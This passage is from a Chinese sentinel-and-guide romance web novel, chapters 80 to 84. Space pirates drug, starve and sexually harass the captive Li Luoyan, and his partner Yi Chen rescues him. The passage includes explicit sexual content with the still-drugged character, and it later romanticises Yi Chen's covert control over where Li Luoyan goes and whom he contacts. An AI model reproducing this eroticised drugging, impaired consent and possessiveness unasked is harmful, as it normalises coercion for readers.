然而今天不太一样,突然间,他感觉到有一股热气从小腹升腾起来,只过了一小会儿就烧得他脸滚烫一片。 黎珞言五指猛地攥住上衣,骨节分明的手指攥得泛白,他使劲地往外扯了扯,白皙的皮肤完全被潮红所取代。胸腔剧烈起伏着,呼吸变得沉重起来。 他脑子在几分钟内变得昏沉不堪。 倏地一阵脚步声突然响起,黎珞言艰难地抬起眸子,那双弥漫着水雾的绿色眸子使劲睁着,只能看见一个模糊的身影。 “易谌……” 他一开口,嗓音哑得不行,充斥着情.欲的味道。 “哦?居然能认错吗?”嗓音中带着一声散漫的轻笑。 * 柔软的床上,房间的装饰风格像是性冷淡,只有黑白两色。 黎珞言身体有些颤抖,使劲咬住自己的手。他的手已经被自己咬的惨烈不已了,一道又一道泛着血色的牙痕留在手臂上。 一种躁郁的情绪不断地刺激着他,让他的脑子也开始不清醒了。只有手上的疼痛感才能让他稍微冷静一点。 “哥,你给他下了多少剂量的药?”邬格看着黎珞言糟糕的模样,担忧地问。 “好像是下多了点,”邬阳秋似乎是后知后觉地才察觉到,他无所谓地笑了笑,“多一点才能起效嘛。” “这样对他的身体不好的……”邬格爬到床上去,伸手去摸黎珞言,却被他使劲拍开了。 清脆的一声响,黎珞言冷冷盯着他,然而那双眼睛里满是水汽,实在不太有威慑力。 邬阳秋看着心口不一的邬格,撇了下嘴。但凡爬床的速度慢些呢? 邬格没有被他的行为惹生气,那双沉郁的眸子直勾勾盯着他,语气温柔呢喃着:“没关系的,我可以帮你解决药效。” 他比黎珞言的体温要凉上不少,一点点地逼近他。 “其实我们的匹配度也不会低的,”邬格低声笑了,“我的身体说,他很喜欢你。” 黎珞言冷冷地吐出两个字:“恶心。”他的气息逐渐变得平稳,几乎已经适应这种程度,但忽然他的喘气声重了起来,热汗顺着脸颊滚落,发丝粘腻着潮湿的汗水。 邬格只是想碰一下他,没想到手上突然摸到上衣下面硬质的物件,他微怔了下,垂下眸,手指陡然挑开衣领。 他的手碰到那枚耳钉的同时,一巴掌狠狠甩到了他的脸上。 他却像没有感受到一样,手里触碰着那枚耳钉,眼神一瞬间阴鸷起来,手上动作立马变得粗暴,把他的衣领往下使劲一扯。 坠在**上的那枚耳钉暴露在了空气之下,明亮的光线把一切都照得极为清晰。 邬格眼眸冰冷阴湿,看着玫红的那处,两指扯住了那枚流转着碧绿光泽的翡翠耳钉,唇齿张合,像是含着别样意味的低语:“你为了他……连这种东西都戴上了吗?” 他这下没有任何想要伪装的意思了,被妒火冲昏了头脑,满脑子都被嫉妒的滋味填满,心脏发疼。 黎珞言被他玩耍似的扯得生疼,耳钉刺穿的位置颜色越来越深,他却咬紧了牙关不声响,似乎是在较劲。骤然间他伸手死死扼住了邬格的脖颈,翻身将其使劲按着。 他手腕上明明还戴着抑制能力的手环,谁也不知道他哪来的这么大力气,也预料不到他骤然发难的行为。 邬格被他扼得脸色涨红,却硬生生从喉腔里发出几声笑,松开了手。衣领便顺着松紧弹了回去,黎珞言终于抑制不住发出了一声闷哼。 滚烫的汗水一颗颗滴落在邬格脸上。 邬格脸色因窒息而变了颜色,居然还伸舌将落在自己脸上的汗舔了进去,艰难地朝着黎珞言弯了弯眼睛。 邬阳秋倚着门,就在旁边看着,他似乎并不在意自己弟弟的生死,而是饶有趣味地看着黎珞言。 呀。好涩。 黎珞言是真的想掐死邬格,最后邬阳秋还是出手阻止了。 被解救出来的邬格大口大口喘着气,呼吸着新鲜空气,瞳孔因兴奋不正常地放大。 黎珞言的任何表情对他来说简直就像是药效最强的催.情素。 邬阳秋也发现黎珞言的态度太坚决了,简直是宁为玉碎不为瓦全的意思。他挑了挑眉,笑了笑说:“这个催.情剂是周期性发作的,没关系,我们可以等你意志崩塌的那天。” “你不会永远这么坚决的,”他俯身,贴在黎珞言的耳边,笑道,“我等着你求我们的那一天。说不定,下次我们可以三个人一起。” 黎珞言猛地打出一拳打在他腹部,邬阳秋始料未及,硬是挨了这一拳,他这一下力道极大,邬阳秋感觉自己五脏六腑都好像在这瞬间移了位。 黎珞言眼睛充满了红血丝,绿眼睛被一层水汽覆盖,脆弱中又带着无比明晰的韧性。 他瞪着邬阳秋,咬牙切齿地说:“你想死吗?” 80-87 第 81 章 他总有种自己在轻薄对方…… 黎珞言发现关他的地方又换了一个, 原先是在狱牢模样的地方,现在倒是在这个看似正常的房间里了。 他对外界的时间流逝一无所知,只知道药效时不时地就会发作。对于被锁住了感知力的哨兵来说, 没有办法抵抗, 但比起普通人, 五感又要增强了不少,是一种很难熬的折磨。 每一次都没有得到纾解,意味着药效又会累积到下一次,一次比一次来得强烈,欲.望如猛烈的潮水一般不间断地冲刷着意志。 黎珞言的意志力比邬阳秋想象得还要顽强不少,他还特意加大了催.情素的药量,没想到黎珞言也能坚持这么久。 “这么深情啊。”邬阳秋挑了下眉。 黎珞言抿了唇, 唇色红润晶莹, 他眼眸也垂着,视线落在被子上, 没有看着面前的人。 他以为他们愿意用他换其他人的性命,是因为他能抵抗感染者伤害的身体,要拿他做实验。但到现在,他们也没有提出实验这方面的任何一个字, 反而…… “你到底有什么目的?”黎珞言嗓音沙哑, 一点也不复原先的清亮。 邬阳秋卡着他的下巴让他抬起头来, 半跪在床上, 俯身看着他。 黎珞言生了一张很俊俏的脸,冷下脸时锐利居多, 但偏偏他此时眼角有些红痕,唇角也因这段时间周期性的药效发作,被他自己咬得软烂, 看起来莫名有种很吸引人的脆弱感。 “没什么目的啊。”邬阳秋越看越觉得黎珞言的脸真的长在他的审美点上,他和邬格的审美相似度极高,几乎是看见黎珞言的第一眼,他就知道邬格为什么会冒着暴露的风险骚扰他了。 “只是觉得你这样……挺带劲的。” 黎珞言抬手,却在空中被他及时扼住了手腕,但他眼睛冷冷地盯着邬阳秋的脸。 “怎么打人都软绵绵的?”邬阳秋仿佛意识不到他的冷意,脸上笑吟吟的,“跟撒娇似的。” 不枉他这些天来一直饿着黎珞言,总算让这人没多少力气了。虽然知道是因为黎珞言懒得把力气耗费在这种小事上,但他也忍不住对他说烧话,毕竟看黎珞言露出那种抿着唇有点烦躁的表情,还挺有意思的。 黎珞言终于意识邬阳秋抓他不是为了搞研究搞实验,而是—— “你对我有兴趣?”黎珞言微拧了眉。 邬阳秋轻笑一声:“你现在才知道吗?”未免太迟钝了点。 黎珞言垂了眸,语气淡淡地说:“我对你没兴趣。” “话说得太早了,我们可以慢慢培养感情。”邬阳秋看着上衣有些松散的黎珞言,忍不住伸手触碰那处,被耳钉缀着的位置,果不其然被黎珞言使劲拍开了手。 邬阳秋意料之中看着黎珞言眼里露出了点厌恶,他这段时间完全适应了黎珞言的这种态度,这下不仅没有生气,反而更加期待黎珞言改变态度之后的表现了。 黎珞言抗拒的表情,优越的五官,厌烦冷峻的眉眼,以及偶尔不经意间露出的脆弱的神情……真的,很能让人产生征服欲啊。 …… 联邦飞船这几天跟随着定位进行搜查,但星盗的飞船移动速度很快,运动轨迹也实在难以捉摸,时常是上一秒出现在这个方位,下一秒又瞬移到了另一个位置,估计是通过了某种能够跳跃空间、出现时间短暂且没有规律的虫洞。 因此在追捕过程中,联邦的飞船浪费了不少掉头的时间。 易谌眼下青黑,他已经好几天没睡过觉了,像一尊静止的雕像一样,守在操控室中。 期间也有人劝过他休息,但他固执得不像话,神情冷怠,完全是听不进去别人的话的状态,让那些来劝的人不得不又退了回去。 易谌墨色的眼睛直勾勾盯着飞船四周影像的投影屏幕,视线里涌入一个充满科技感的飞船,他感应到定位器越来越近,突然开口道:“找到了。” 嗓音平静得没有一点波澜。 旁边的人被他突然出声吓了一跳,下意识扭头看他,注意到他脸上还是什么表情也没有,像一尊表情固定了的雕像。盯着他看得久了,便莫名觉出几分渗人来。 那人咽了咽口水,把自己方才那一瞬心里不自觉升起的恐惧重新又压了下去。一边在心里默默安慰自己,这有什么好被吓到的,一边又不自觉地觉得自己身边好像站了一个没有生命气息的冰冷雕像。 “找到了。”易谌又开口说了一遍,然后冷静地转身出了操控室。 那人这才突然意识到他刚才说了什么。找到了? 他立马抬头看向屏幕,面前是一艘明显经过改造的飞船。 找到了星盗的飞船吗?那易谌的表现未免也太过平静了吧,不说欣喜若狂,居然连一点情绪起伏的表情也没有吗? 这到底是爱还是不爱啊……那人想了想,还是没想出个所以然,最后感慨道,太可怕了。 * 联邦军队从飞船上下来,瞬间包围了前方的飞船。 易谌没和他们一起行动,而是冲了出去,表情冷静没有一丝疯狂的神色,然而行为却没有一丝理智可言,如脱缰一般冲进飞船的每一个房间,猛地开门,查找,确认黎珞言不在里面后,又迅速进入另一个房间。 没有。没有。 还是没有。 易谌咬紧了牙关,握紧了门把手,使劲拉开了门,同时间一颗子弹从他的右侧方射了过来,他没躲,而是怔愣一般看着里面。 然而在拉开门的瞬间,里面的人把他一把拉了进去,那颗子弹落了空,深深嵌入墙体中。 黎珞言反手就把门关上了,“砰”的一声门合上了。他转了个身,后背撞在墙上,一只手维持着搂着易谌的动作,脸上泛着醉酒一般的潮红,嗓音沙哑地问他:“为什么不躲?你疯了吗?” 易谌那根一直以来维持着理智的弦在看见黎珞言的那一瞬间立马绷断了。 他两只手忽然紧紧地搂住了黎珞言,用一种几乎要将他硬生生揉入自己身体的力度,连手指都在用力,抱着他。 “我好想你……”易谌的声音以自己都未发觉的频率颤抖着。 黎珞言中的药效在这时候又起了作用,他浑身的皮肤都被绯红所覆盖,诱人的暧昧气息在两人之间蔓延开。 “易谌。” 黎珞言眼睛微阖,看上去似乎是有些倦怠,手却扣着易谌的后脑勺,急匆匆吻住他的唇,含糊地说:“易谌,让我.艹一下。” 他力气不大,长时间没有进食让他几乎没有多余的力气,总之这个力道易谌是完全可以挣脱开的,然而他却没有挣脱,而是任由黎珞言着急地吻着他,像根木头一样立在原处有些怔愣。 在开门时看见完好无损的黎珞言后,易谌的心方才落回了肚子里,理智一点点回笼,他现在才后知后觉地意识到黎珞言的状态并不对劲。就好像中了药一样…… 易谌在心里把这群星盗彻头彻尾地骂了个遍,具象化的戾气都快要溢出来了,但抱着黎珞言的动作却越发温柔。 黎珞言眼尾泛着红潮,眼睛被水汽弥漫,似乎下一秒晶莹的泪珠就会滚落下来。他语气可怜又委屈,一遍遍喊着易谌的名字,叫得易谌当即差点小头控制大头了。 还好最后理智占了上风,易谌安慰似的轻轻回吻着他,小小易抵着黎珞言的小腹,他的表情却镇定非凡,好像正人君子一般:“现在还不行。” 他顿了顿,慢慢地蹲下身,将其扯开,语气淡然冷静:“我先帮你解决。” 小梨子被放出来时骤然打在了他的脸上,易谌没忍住一怔,脸颊留下一道浅浅的红痕,但下一秒,他就迅速回过了神,除了耳根蹿上一抹薄红外,再看不出任何异常。 他极力将声音放得温柔些,温声安抚着黎珞言:“没关系的,我们马上就可以出去了。” 说话时温热的吐息打在那一处,梨汁逐渐流出。易谌湿红的舌头舔过,卷了进去,把小梨子弄的干干净净的,旋即晗住了小梨子头。 …… 黎珞言这一次的药效解了大半,然而到底不是真刀实枪的做,他脸颊上还是弥漫着红,将五官那股锐利的进攻性都给冲散了不少。 他吸了吸鼻子,抱着易谌道:“好饿。” 易谌走得太急了,他一摸口袋,里面除了刀什么也没有,腰间也只别了一把枪。于是他只能干巴巴地说:“回去再吃好不好。” 没过一会儿,易谌就没有听见黎珞言的声音了。他小心翼翼地看,发现黎珞言的下巴趴在他肩上,已经闭上眼睛睡着了,眼皮也在泛红,眼尾更是漫着潮湿的红意,他伸手轻轻触碰,将那点湿润擦拭干净了,接着将黎珞言抱在了怀里。 ……轻了。 易谌感受到怀里的体重,他忍不住皱了眉,情不自禁地去想黎珞言在星盗这里遭受了哪些虐待。 还有这中药一样的表现……易谌闭了闭眼,中止自己的胡思乱想。 他稳稳抱着黎珞言,在闻讯赶来的人的掩护下,快速地将黎珞言带回了飞船之中。 易谌坐在简易的小床边上,眉眼温和得不像话,看着黎珞言安静的睡颜。 黎永赶过来之后,蹲了下来,伸手探了探黎珞言脸上的温度,维持着镇定的神色,但微颤着的手还是暴露了他的慌乱:“他怎么了?” 易谌声音放得很轻,怕打扰到黎珞言的睡梦,道:“他睡着了。” 然而经过赶来的医生检查后,那医生皱了眉:“饿晕了。” 还好飞船上备的有营养液。 易谌接过一管营养液,放至黎珞言唇边。 黎珞言紧闭着唇,易谌掰都掰不开。 “你是他的男朋友是吧,”那随行医生早就从易谌这段时间的用心看出了蹊跷,笑眯眯地看着易谌,“用点特殊方式喂进去也可以的。” 没一会儿,小房间里的人都离开了,只剩下易谌和昏迷着的黎珞言。 易谌手里拿着那管营养液,突然有点手足无措了。 什么,特殊方式? 他看着闭着眼睛显得安静又恬然的黎珞言,犹豫着怎么喂进去。……这样看着黎珞言,他总有种自己在轻薄对方的错觉。 第 82 章 “他也到了适婚年龄。”…… “不是饿了吗?怎么不张嘴?”易谌又试图伸手掰了掰黎珞言的嘴, 然而他嘴巴闭得紧紧的,齿关也闭着。 易谌舒出一口气,对黎珞言说:“那我真的要用特殊方法了。” 黎珞言还是闭着眼睛, 没有反应。 易谌俯下身, 唇角贴在黎珞言的唇边, 很轻地亲了亲他的嘴巴。 黎珞言下意识砸吧两下嘴,唇齿习惯性地张开,迎接即将到来的侵入。 然而易谌就在这时往后退了退,唇与他分开,同时间卡住黎珞言的嘴,顺势将营养液倒进了他的嘴里。 黎珞言被呛得猛地咳嗽起来,易谌及时停住了倾倒的动作。 黎珞言迷茫地睁开了眼睛, 坐起身来, 舌尖将唇瓣沾上的营养液卷进了嘴里。 有点懵地抬眸看易谌一眼,然后很自觉地接过了易谌手里的那管还没喝完的营养液, 仰头几秒钟喝完了。 喝完之后,他就又抬眸看易谌,慢吞吞地眨了下眼睛。 “还饿吗?”易谌问他。 黎珞言立马点点头。 这里备了各种味道的营养液,易谌把箱子挪到简易床边上, 方便黎珞言选口味。 黎珞言吨吨喝了好一会儿, 终于喝够了, 齿间叼着一管空了的营养液, 一双碧绿纯粹得宛如翡翠的眸子直勾勾盯着易谌看。 他眼睛湿漉漉的,眼尾的红到现在还没消散。 两人就这样面对面对视着, 过了好一会儿,易谌忍不住笑出一声,道:“看我干什么?” 黎珞言弯弯眼睛:“你刚才说你想我了。” 在飞船上, 打开门的那瞬间,易谌紧紧地抱住他,他说的是第一句话就是想他了。 “嗯。”易谌抱住他,贴了贴他的脸颊,嗓音低哑,话语中的情意浓烈到了一种令人心颤的意味。 “特别想你……离不开你了,怎么办?” 黎珞言抿了抿唇,突然说:“对不起。” 易谌漆黑的眸子沉默地望着他,没有说话。 “我不该一个人追上去,”黎珞言垂下眸,“我太冲动了。” 易谌的手轻轻滑过他的脸,浓密的睫毛投下一小片阴影,让他眼睛里的情绪显得晦涩不堪:“是我该说对不起。” 黎珞言眼睛微微睁大了些,哪里轮得到他说对不起呢? 他张口想反驳,还没来得及出声,就被易谌打断了。 “我不应该留你一个人待在那里,”易谌的语气很奇怪,但脸色又很平静,他仿佛根本就意识不到自己说了什么,“我应该一直留在你身边的,一刻也不该和你分开。” 他的手指冰凉,顺着黎珞言的脸颊摸到了他嫣红的眼尾。 “药效解除了吗?”易谌问。 黎珞言眼睛有些茫然,还没有捕捉到易谌话语中的那点怪异,就被他这句话转移了话题。 他摇了摇头:“是周期性发作的。而且……” 他掀起眸,绿眸里只装着易谌一个人,红润的唇被他抿起,说话间,洁白的齿和湿红的舌头若隐若现,“你只含了一下,没这么轻松解决的。” 偏偏他说这话时眉眼又十分认真,就像仅仅是在陈述一个事实而已,但就是有着让人心猿意马的魔力。 易谌的手不经意间从黎珞言的上衣下摆钻了进去,像一条冰冷的蛇一样,沁冰的触感顺着小腹逐渐往上,冰得皮肤一瑟缩。 他的手在摸到自己想摸的物件时停住了,指腹贴着翡翠耳钉,轻轻拨弄。 “他们欺负你了吗?” 黎珞言眼睛漾着水汽,凑近他,下巴趴在他的肩上,这个动作使得易谌的手贴得他更紧。易谌的呼吸急促了些,他却像察觉不到似的,慢悠悠地埋怨眼前的向导:“你弄得我药效又要起来了。” 易谌又吻上他的唇角,嗓音无端勾出几分暧昧:“那我当你的解药?” 他的手触碰耳钉,把耳钉摸了一圈之后,又往旁边挪了挪,他一边按着,一边仔细观察着黎珞言变化的神色,语气淡淡:“都肿了,他们也像我这样欺负你了吗?” 即便眼睛看不见,手也能感受到逐渐滚烫的温度,以及手指轻轻一勾就能意识到不像原来那样。 单是耳钉坠成这样的吗?不可能吧。 易谌的眸色幽深,让人看不出情绪。 黎珞言这时候想起来了另一回事,他立马正色:“你还说我,你为什么把你的那枚取下来了?” 黎珞言从身上找出另一枚耳钉,摊在手心给他看,嘴角撇着,一副兴师问罪的模样。 易谌想要接过,他却一下子合拢了手心。白皙的眼皮盖住绿眼睛,语气似是有些委屈:“你骗我一个人戴着……” 易谌自知理亏,含糊地说:“回去我再戴上。” 黎珞言就眨眨眼睛:“那这次不许再取下来了。” “好。” …… 下了飞船后,黎珞言就跟在易谌旁边,和他十指相扣着。 这次执政官竟然没有厉声要求他和自己回去,而是看着他们,冷淡地询问黎珞言:“小言你要和我回家吗?” 黎珞言往易谌身边靠得近了些,还不自觉地后退了一小步,行为就完全表明了他的意愿:“不。” 执政官闭了闭眼,再抬眼时眼睛一片清明冷静。 黎珞言明显是在抗拒他,想要和他划清界限的动作让他的心脏有一瞬的刺痛。然而对于执政官来说,个人情绪是最无关紧要的东西。他看到黎珞言平安无恙地回来了,这些天一直惶惶不安的心终于落了地。 执政官恢复到了一副公事公办的模样:“好,那你们再相处一段时间,过段日子我再来接你。” 黎珞言其实一点也不想让他接回去。实际上,他不觉得那里是自己的家。尹祁青的那套住所,易谌的宿舍……无论是哪里,都比那个冰冷毫无温度的房子,更像传统意义上的家。 他已经被困在那里十多年了,他不想永远被困在那里。被当作一个自生来就担负着责任的实验体,躺在冰冷的金属台上,面对着各种各样的试管试剂。 “不用了,阁下。”易谌礼貌地颔首。 黎珞言没想到他会说出自己的心声,侧头看向他。 “黎珞言上次过生日和我在一起,我算了算,他也到了适婚年龄,”易谌话语的意思不言而喻,他看着对面身穿军装、显出威严气势的向导,不卑不亢地迎上那人审视的目光,“我想,我会和他组建一个新的家庭。” 黎珞言盯着水泥地,骤然睁大了眼睛,眼睛快速眨了几下。结婚?他脑子一片空白,但却没有出言反驳,就像是默认了一样。 黎永扫了黎珞言一言,没听见他说话,便自然而然地认为这是他们商量好的结果。 他拧起了眉,久居上位的威严一瞬间倾泻:“你们当结婚是儿戏吗?只要年龄够了就可以?这是……” “这是很好的事啊。”突然的一道声音打断了黎永的话。 来人是第一军团的团长宿虞,她有着和黎珞言如出一辙的绿眼睛,但要轻佻几分,眼睛里时常带着散漫的笑意,双手合十:“希望可以很快参加你们的婚礼。我非常期待呢。” 黎珞言没见过她,但看着她的脸,却莫名觉得熟悉。他迟疑地说:“……谢谢。” 宿虞看向他,弯起眼眸,声音放得柔和了些,那双散漫的眼睛浸着温和的情绪:“我真挚地向你们送上祝福,希望你能幸福。” 黎珞言确定自己从未见过她,她的神色和热络的态度都显得很是奇怪。他停顿了一会儿,慢吞吞问道:“谢谢你,但是……为什么?” “因为——”宿虞和黎永对视了一眼后,迅速收回了视线,重新看向黎珞言,弯眸温声说:“我觉得你们两个是好孩子。” 说完,她轻松地笑了笑:“被你救下来的人都很感谢你呢,他们说要当面谢谢你,被我暂时劝回去了,我说你还需要静养……但是他们的谢礼我都收下了,回去之后我就派人送到你们的家里,怎么样?” 易谌很早就觉出了点不对劲,到现在看到宿虞对待黎珞言的态度,更是肯定了他之前的猜测。 但他猜到之后,也没有戳破,而是和黎珞言一起点了头,道了谢。 宿虞看着他们并肩离开的身影,视线落在黎珞言身上,忍不住感慨一句:“都长这么大了。” 直至再看不到两人的身影,黎永转身离开了,没有搭她的话。 宿虞弯唇笑了笑,慵懒地伸了个懒腰,自言自语道:“我也该回去准备一下礼物了。” 当初联邦政府不知道脑子里哪根筋搭错了,硬是要她和黎永进行结合绑定,说是什么强强联合。 宿虞作为第一军团的团长,进污染区深处出任务那是家常便饭,黎永又不可能离开工作岗位和她一起去污染区。因此她要是和黎永绑定了,就是一个完蛋,她只有脑子进水了才会同意这么抽象的主意。 宿虞当时私下里把联邦政府痛骂了几天几夜,但无奈联邦真的许诺给她们第一军团不少实质性的好处,最后来回拉扯、你来我往,达成了一个各退一步的协议——使用体外胚胎培育技术,培养一个拥有他们两人基因的孩子。 没过多久,宿虞就接收到了新的任务,任务紧张,她只在营养仓外,透过那层透明玻璃看过一次那个完全没有成型的孩子,便进了污染区。 后来她也只隔着很远的距离见过几次那个孩子。长得俊俏,性格温吞,很招人喜欢……宿虞光是远远看着他,就忍不住露出笑容。 这是血脉的联结吗?宿虞不清楚。但她不敢离他太近,过近的距离会形成羁绊,她作为军团团长,在污染区本来就是出的九死一生的任务。 还是就这样好了,保持着适当的距离。 宿虞边往回走,边仔细地思考着。结婚是大事啊,她要准备一个什么样的礼物呢? 第 83 章 “小狗才反悔。”…… 重新又回到这间宿舍里, 易谌把门打开的一瞬间,屋内的狼藉扫一眼便尽收眼底,地上的酒瓶子散落着还没有清理。 易谌瞳孔一震, 立马往后猛退一步, 把门“砰”的一声关上。 黎珞言也被迫跟着往后退了一步, 歪头:“嗯?” 易谌站在门口,把门堵得严严实实,一言不发。黎珞言犹豫着说:“你现在连门都不让我进了吗?” “不是……”易谌嗓音很淡,有些头疼地按了按额角,“要不我先进去,你再进去?” 他当时满脑子只剩要找到黎珞言的念头了,以至于出门时压根忘了收拾……现在看起来真是一塌糊涂, 这怎么让黎珞言看。 “你就是不让我进门了。” 黎珞言嘴巴被他抿成一条线, 低下头,柔软的黑发恹恹地垂着。 看着他这副模样, 易谌的心倏地就软了下来,嘴里立马补救:“当然不是。” “那就是让我进门的意思了。”闻言,黎珞言当下就抬起头,一双眼睛月牙似的弯着, 哪有半点伤心的意思。 他动作灵活地挤到了易谌前面去, 把插着的钥匙一拧, 易谌来不及阻拦, 他就开门进去了。 然后就看见了倒在地上的空了的许多酒瓶子。 黎珞言回头看了易谌一眼,茫然地眨了眨眼睛, 慢吞吞换了鞋,走进去之后一边俯身捡瓶子,一边咬字慢慢地好奇问他:“你带人来家里开聚会了吗?” 他的动作和语气都颇有种这家里的另一个主人的意思。 看着面前像个小机器人一样移动来移动去, 把地上酒瓶一一捡起来的黎珞言,易谌心里突然涌起一种幸福的滋味,和黎珞言这样温馨又自然的相处让他产生一种恍若隔世的感觉,只希望时间可以永远停留在这时候。 他顿了一下,答道:“没有。” “那怎么喝了这么多酒?”黎珞言絮絮叨叨地说,把酒瓶子收拾起来放进了空箱子里,蹲在地上,仰起头看着玄关处的黑发向导,“不会都是你一个人喝的吧。” 说着,他整个人顺势都趴在了箱子上,仰着脑袋,一双眼抬着,专注地望着易谌,气质干净又柔软,但他眉头微皱着,连批评人都是慢吞吞的:“你现在怎么开始酗酒了?把我囤的也全部喝完了,我都没得喝了……” 不知道什么时候,易谌就走到了他的面前,此时蹲下身面对面看着他:“是担心我,还是担心酒被喝完了?” “不一样吗?”黎珞言认真点头,“我都担心。” 易谌笑了笑,眼睛浸上温柔的情绪,却是一字一句地说:“不一样。” 黎珞言看着近在咫尺的漆黑眸子,眼神有些迷茫,一时没有说话。哪里不一样? 易谌耐心等待着他的回答, 终于,黎珞言张了张嘴巴,很慢地说:“好像……要更担心你一点。” “为什么喝这么多酒啊?” 他伸出手,隔着衣服摸了摸易谌的胃,温热的触感不太明显地传递到了易谌的身上。 易谌的手覆在他的手上,一把将他拉进了怀里,另一只手按在他的后脑勺,因着这个动作他单膝重重磕在地上,他却像感觉不到疼痛似的,紧紧抱着黎珞言。 “你不要再离开我了,好不好。” 黎珞言看不见他的神情,手轻轻抚上他的脊背,顺着往下抚摸,似是一种安抚,声音被压得轻了些,显得很柔和:“不会的,我不会再这么冲动了。” 他的脸往易谌那边蹭了蹭,发丝扫得耳朵痒痒的。 易谌轻声呢喃着:“嗯,我不会让你再这么冲动了……” …… 在星盗那里走了一遭,再回来后,好像生活也没有太大的变化,唯一的变化好像就是易谌开始形影不离地跟在他身边,而且好像在似有若无地限制着他的出行。 他每次想要去楼下树林边上画画,就被易谌三言两语岔开了话题,有时候说他在星盗那里中的药药效还没过,需要在家里根治一下,有时候又说最近蚊虫有点多,担心他被咬得浑身是包。 但翻来覆去就是不让他单独出门。……是错觉吗? 黎珞言的终端从黎永那里重新拿了回来,但是他偶尔看终端的时候,易谌就坐在他身边,明明易谌没有看着他,但仿佛一直有一道视线盯着他的任何动作一样。 黎珞言收起了终端,主动提出:“我们要不要出去玩一玩?” 易谌毫不犹豫地应下:“好。” 黎珞言正准备用终端跟奚元、尹惟发消息,问他们要不要一起出来玩,然而就像是被易谌预料到了一样,易谌不经意间提起:“只有我们两个人,是吗?” 黎珞言打字的动作一顿,想了想,又把对话框的字全部删掉了:“也可以。” 果然是错觉,易谌并没有不想让他出门的意思。 黎珞言弯弯眼睛,看起来很开心。 易谌便也弯了下嘴角,被他的情绪所感染。 …… 虽然联赛最后没有得到一个圆满的结束,但综合所有表现以及直播外观众的投票选择,他们队最终被评为了第一,主办方给了他们一笔不菲的奖金,黎珞言作为队长,干脆就把这笔奖金平分给了他们队内的四个人。 现在这笔钱倒是有了用武之地。 黎珞言和易谌去了离家进的一家商场里,在那里逛了一圈。 走到一家衣服店前,易谌犹疑道:“我应该不需要买衣服吧。” 黎珞言反驳道:“需要啊。” 他莫名地有兴致,易谌不想打破他的兴致,也就没有拒绝,跟着进了衣服店里。 黎珞言其实并没有多少买衣服的经验,他就是让易谌试一试,然后财大气粗地说:“这件包起来。” “这件也包起来。” …… 易谌每次换了衣服出来,就看着他仔仔细细把自己上下打量一番,仿佛认真思考过一样,然后说出同样的话。忍不住笑了笑:“怎么还假装思考呢?” 黎珞言正在认真地和店员说“这件也要。”闻言,便扭过头看向易谌,撇着嘴角:“就是每一件都很好看啊。” 易谌常年都是阴沉冷淡的气质,脾气也是差得不行,一言不合就动手,因此很少有人会发现,哇,原来他竟然长了一张很好看的脸啊。 但是黎珞言就会经常性地仔细看他,然后弯着眸子,凑近亲着他的唇角,认真地感叹一句:“你长得真好看。” 直白又真挚的夸赞让易谌有时候会忍不住视线躲避,接着又被黎珞言掰着脑袋移正,漂亮的绿眼睛直勾勾盯着他,就像是小狐狸似的流转着波光勾引他:“怎么了?让我亲一亲嘛。” 每一次易谌就会想,还好这副模样的黎珞言只有他一个人能看见。如果别人也能看见的话……他一定会嫉妒得发狂的。 易谌眸色变得晦暗,平静地倚靠在墙上,视线落在不远处的哨兵身上。 “好了!”黎珞言出声打断了他的思路,“我们去下一家店看看。” 易谌轻“嗯”了声,淡淡地瞥了眼还在盯着黎珞言看的店员,那人的眼神依依不舍,就跟不知道他们是情侣似的。 他忽然伸手牵住黎珞言的手,手指强硬地钻进黎珞言指缝中,和他紧密地十指相扣。 黎珞言被他突然的举动弄得有些奇怪,但却没有挣脱开,只是小小声地侧头问了句:“怎么了吗?” “老公。”易谌顶着一张面无表情的冰块脸说出这个称呼,黎珞言立马睁大了眼睛,懵懵地使劲眨了两下眼睛,有些呆滞地盯着地上看,哇这个瓷砖可真瓷砖啊,这个灭火器也太灭火器了。 “你不想和我牵着吗?” 黎珞言哪里被这样叫过,耳根瞬间红透了,下意识地咽了下口水,闷声说:“那牵着吧。” 那名店员遗憾地收回视线,原来已经结婚了啊,明明还这么年轻。 易谌本来只是想宣示主权,没想到黎珞言的反应这么大,他挑了下眉,凑近贴在他耳朵边上吹气:“你喜欢我这么叫你?老公。” 黎珞言耳朵这下更红了,低着头,罕见地露出几分羞涩的神情,简直像是被登徒子调戏了一样,浑身冒着热气,嘴上还是承认了下来:“喜欢。” 易谌唇角勾了勾,收回了视线,语气无波无澜地说:“还没结婚就想当人老公了?” “那……结婚?” 易谌听见这话,侧头看他,黎珞言就抬起一双亮晶晶的眸子望他,碧绿的眼睛澄澈干净,易谌的心跳刹那间漏了一拍。 “你之前说过,要和我结婚的。”黎珞言朝他伸出小拇指,要和他拉钩。 易谌看着他小孩一样幼稚的行为,却还是伸出手勾了勾他的小拇指,声线沉稳:“我没开玩笑。” 他这句话的意思是? 黎珞言感觉自己被他点了一下,伸手使劲拍了下他的肩膀,严肃道:“我也没开玩笑。” 易谌眼皮颤了一下,骤然停下脚步转过了身,漆黑如墨的眸子盯着黎珞言:“我当真了,不许反悔。” “小狗才反悔。”黎珞言皱了皱鼻子,瞪他一眼。 正巧他们走到了另一家服装店前,里面挂着的是复古宫廷风的繁复服饰,蕾丝、缎带、蓬松的裙摆格外吸睛。 黎珞言好奇地多看了两眼,站在门外的巨大玩偶人就迎了上来,三言两语加上迎接的动作就让黎珞言糊里糊涂地走了进去,顺带着还把易谌给拉了进去。 易谌对这些东西不感兴趣,但是看着黎珞言被漂亮的裙装所包围,巨大的粉色蝴蝶结因为视觉误差,仿佛是戴在黎珞言头上的。他眼睛轻轻眯了眯,涌上一点晦涩不明的心思。 黎珞言还在听着玩偶人店员的话,回应着:“是很漂亮。” 他歪了下头:“但是我不需要啊……” “需要。”易谌突然出声,他面色冷淡,气质肃然显出几分拒人于千里外的冷酷,然而却对着粉嫩蓬松、蛋糕似的裙子说,“买一套在家里放着也不错。” 黎珞言:“……啊?” 第 84 章 不解风情的木头梨。 黎珞言不知道易谌怎么突发奇想买回来一套珊瑚粉的小裙子, 还把那件短裙的一整个套装挂在了他的衣柜里。 易谌有时候就是会做一些他看不懂的事,黎珞言搞不清楚他在想什么,干脆不想了, 拆了袋薯片嚼吧嚼吧, 坐在床上看着他动作。 “好看吗?”易谌问。 黎珞言咔擦咔擦吃薯片, 点了点头。 “你知道我为什么买这套吗?” 黎珞言还在咔擦咔擦吃薯片,闻言诚实地摇摇头。 